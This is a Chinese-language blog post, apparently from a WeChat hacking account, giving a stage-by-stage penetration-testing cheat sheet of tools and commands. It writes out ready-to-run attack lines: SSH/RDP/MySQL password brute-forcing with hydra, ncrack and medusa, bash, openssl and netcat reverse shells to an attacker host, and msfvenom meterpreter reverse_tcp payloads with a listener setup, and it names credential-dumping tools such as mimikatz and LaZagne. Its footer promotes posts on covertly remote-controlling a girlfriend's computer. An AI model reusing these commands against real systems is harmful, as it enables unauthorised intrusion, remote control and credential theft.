

滲透測試各階段工具速查(持續更新)

HACK之道 白帽子左一 今天

收錄於話題

#HW 9 #黑客工具 32



前言

本文是滲透測試各階段工具和快速用法速查筆記，將會持續更新。

注：某些工具之前分享過用法及安裝包，可以安照下文對應的提示在本公眾號（白帽子左一）後台回復關鍵詞獲取下載，也可直接查看“話題-黑客工具”

站點信息收集

1 [Google](#)

2 [Fofa](#)

- 3 Shodan
- 4 Zoomeye
- 5 Goby
- 6 whatweb
- 7 Github
- 8 robtex

快速探測存活主機

nmap (下載地址: <https://nmap.org/download.html>)

```
1 nmap 172.18.2.1/24 -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG result.
2 nmap 172.18.2.1/24 -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oX result.
3 nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG result.txt -iL ip.txt
```

格式化輸出存活ip, 做後續詳細掃描使用

https://github.com/echohun/tools/blob/master/web%E6%89%AB%E6%8F%8F/nmap_clean_data.py

- 1 -sS: 使用SYN方式掃描, 默认用的是-sT方式, 即TCP方式, 需要完成完整的三次握手, 比较费时, SYN就比较快一些了;
- 2 -Pn: 禁用PING检测, 这样速度快, 并且可以防止有些主机无法ping通而被漏掉不扫描;
- 3 -n: 禁止DNS反向解析;
- 4 -open: 只输出检测状态为open的端口, 即开放的端口;
- 5 -min-hostgroup 4: 调整并行扫描组的大小;

```
6 -min-parallelism 1024：调整探测报文的并行度；
7 -host-timeout 30：检测超时的跳过
8 -T4：总共有T0-T5，貌似T4比较折中
9 -v：打印详细扫描过程
10 -oG：输出为比较人性化的格式，一条记录一行，后期好处理
11 -iL：载入ip段文件，批量扫，不用一条条执行了。
```

ipscan

快速探测端口

masscan的發包速度非常快，在windows中，它的發包速度可以達到每秒30萬包；在Linux中，速度可以達到每秒160萬。

masscan在掃描時會隨機選擇目標IP，所以不會對遠程的主機造成壓力。

<https://www.freebuf.com/sectool/112583.html>

```
1 masscan 172.18.2.1 -p1-65535 --rate=10000
2 masscan -p80,8080-8100 10.0.0.0/8 -oL result_mas.txt --rate=10000
3 masscan -p80,8080-8100 10.0.0.0/8 -oX result_mas.txt --rate=10000
```

郵箱蒐集工具

EmailSniper

子域名收集

SubDominscanner

指紋收集

whatweb -v http://baidu.com

web目录扫描

御剑（御剑珍藏版（附下载））

Dirbuster (<https://www.jianshu.com/p/79c7b1eda56e>)

webpathbrute

漏洞扫描

WVS

burpsuite（后台回复：“burp” 获取下载）

nessus（强烈推荐）

xray(后台回复：“Xray” 获取下载)

爆破

hydra（下载地址：<https://github.com/vanhauser-thc/thc-hydra>）

```
1 hydra -V -l fakeroot -P top100.txt 172.18.2.177 ssh
2 hydra -V -l admin -P top100.txt 172.18.2.177 rdp
3 hydra -V -l root -P top100.txt 172.18.2.177 mysql
```

ncrack

```
1 ncrack -vv -d10 -user root -P top100.txt 172.18.2.177 -p ssh -g CL=10,at=3
2 ncrack -vv -d10 -user root -P top100.txt 172.18.2.177 -p mysql -g CL=10,at=3
```

medusa

```
1 medusa -v 6 -h 172.18.2.177 -u fakeroot -P top100.txt -M ssh -t 10 -O out.txt
2 medusa -v 6 -h 172.18.2.177 -u root -P top100.txt -M mysql -t 10 -O out.txt
```

漏洞利用

metasploit

burpsuite (附下载)

sqlmap

xxer

(xml注入利用工具) <https://github.com/TheTwitchy/xxer>

ysoserial

(反序列化利用工具) <https://github.com/frohoff/ysoserial>

Struts2-Scan

(struts2历史漏洞扫描和利用) <https://github.com/HatBoy/Struts2-Scan>

weblogicScanner

(weblogic历史漏洞扫描利用) <https://github.com/0xn0ne/weblogicScanner>

exphub

(常见web框架cve利用) <https://github.com/zhzyker/exphub>

cve, cms, 中间件, OA系统漏洞exp合集

<https://github.com/mai-lang-chai/Middleware-Vulnerability-detection>

webshell (点击跳转: 下载安装及使用)

菜刀(后台回复: “菜刀” 获取下载)

蚁剑

冰蝎

cobalt strike

普通反弹shell

```
1 bash -i >& /dev/tcp/HOST/PORT 0>&1
```

加密shell

```
1 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2 openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
3 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.xx.xx:4444 > /tmp/s; rm /tmp/s
```

nc

```
1 攻击机 nc -lvp 4444
2 靶机 nc -e /bin/bash xx.xx.xx.xx 4444
```

提权

sudo提权

<http://next.uuzdaisuki.com/2020/02/12/linux%E5%B8%B8%E8%A7%81%E6%8F%90%E6%9D%83%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/>

各类exp

典型通杀:脏牛CVE-2016-5195

metasploit (入门及工具模块使用: <https://bbs.zkaq.cn/t/4935.html>)

注: 如果没有社区账号, 可以文末扫码联系领取社区邀请码, 可查看社区更多文章

本地漏洞扫描工具

windows/linux exploit suggerster

本地口令获取和破解

hash-identifier 判断哈希类型

mimikatz

Mimipenguin

LaZagne

<http://next.uuzdaisuki.com/2019/12/07/%E4%B8%A4%E6%AC%BE%E5%AF%86%E7%A0%81%E6%8F%90%E5%8F%96%E5%B7%A5%E5%85%B7%E7%9A%84%E9%85%8D%E7%BD%AE%E5%92%8C%E4%BD%BF%E7%94%A8/>

hashcat+口令字典

<http://next.uuzdaisuki.com/2020/07/28/%E5%93%88%E5%B8%8C%E5%AF%86%E7%A0%81%E7%88%86%E7%A0%B4%E5%B7%A5%E5%85%B7hashcat/>

```
1  --hash-type 0 --attack-mode 0
2  -m选择哈希类型
3  1000为windows nt hash
4  -a选择模式
5  0 Straight (字典破解)
6  1 Combination (组合破解)
7  3 Brute-force (掩码暴力破解)
8  6 Hybrid dict + mask (混合字典+掩码)
9  7 Hybrid mask + dict (混合掩码+字典)
```

本地信息收集

linuxprivchecker

LinEnum

后门

常见后门手法

metasploit

```
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f elf -o reverse_tcp_linux64
2 msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe
3 msfconsole
4 use exploit/multi/handler
5 set PAYLOAD windows/meterpreter/reverse_tcp
6 set LHOST xxx.xxx.xxx.xxx
7 set LPORT 4444
8 run
```

常用后续命令

<https://www.cnblogs.com/backlion/p/9484949.html>

python直连反弹shell

<http://next.uuzdaisuki.com/2018/06/17/%E5%9F%BA%E4%BA%8Epython%E7%9A%84%E7%9B%B4%E8%BF%9Eshell%E5%92%8C%E5%8F%8D%E5%B0%84shell/>

其他语言直连反弹shell

windows常见奇淫技巧后门手法

<http://next.uuzdaisuki.com/2018/06/18/windows%E5%B8%B8%E7%94%A8%E5%90%8E%E9%97%A8%E6%8A%80%E6%9C%AF%E5%8F%8A%E9%98%B2%E8%8C%83/>

内网横向渗透

Hydra

nessus

metasploit

nmap (端口扫描神器 - Nmap (附下载))

powersploit

Empire

Psnmap

lcx

ew

tunna

proxychains

FRP

N2N

内网命令执行和文件访问

at

schtasks

telnet

sc

wmic

wmiexec.vbs

python impacket wmiexec.py

psexec

远程桌面

arp欺骗

Cain

Arpspoof

远控

pupy类远控

teamview

pcanywhere

radmin

手机端

DroidJack

Dendroid

典型windows-rce

ms17-010 基本通杀

cve-2019-0708 开放3389情况 windows7及之前通杀

实用工具

q-dir 文件管理工具，可开四个窗口

beyond compare 文件/文本比较工具

cmdr 命令行工具

everything 文件搜索工具

navicat 數據庫連接工具，支持超多種類數據庫，支持導出數據，甚至提供拖庫的tunnel.php等

懸劍3.0 超齊全windows工具庫系統

作者：Leticia，文章來源：Leticia's Blog

學習更多黑客技能！體驗靶場實戰練習



(黑客視頻資料及工具)

1		kali的安装及简单配置kali系统
2		kali快速安装及常见问题解析
3		kali linux 基础命令讲解介绍
4		漏洞扫描工具-AWVS简介与使用
5		awvs使用-自动探测漏洞
6		webshell管理工具 - 获取权限
7		什么是webshell?



往期回顾

那些年的Hvv日記

2021-04-17



無線滲透！菠蘿派一個wifi神器

2020-09-28



教你一步步攻陷他人網站，附視頻演示

2020-09-18



一波三折，成功拿下迷妹學校的服務器

2020-08-12



惡搞綠帽篇！教你cs釣魚偷偷遠程控制女友電腦

2020-07-30



小白也可以輕鬆破解被加密的ZIP口令啦

2020-07-10



收錄於話題#黑客工具·32個 >

< 上一篇 · 更新3款在線工具

喜歡此內容的人還喜歡

【264期】盤點MySQL主從復制，在面試中能被問什麼？

Java面試題精選



面試這樣回答Java調優，至少加1000塊！！

我是程序汪



面試官：Dubbo面試八連問，這些你都能答上來嗎？

我是程序汪

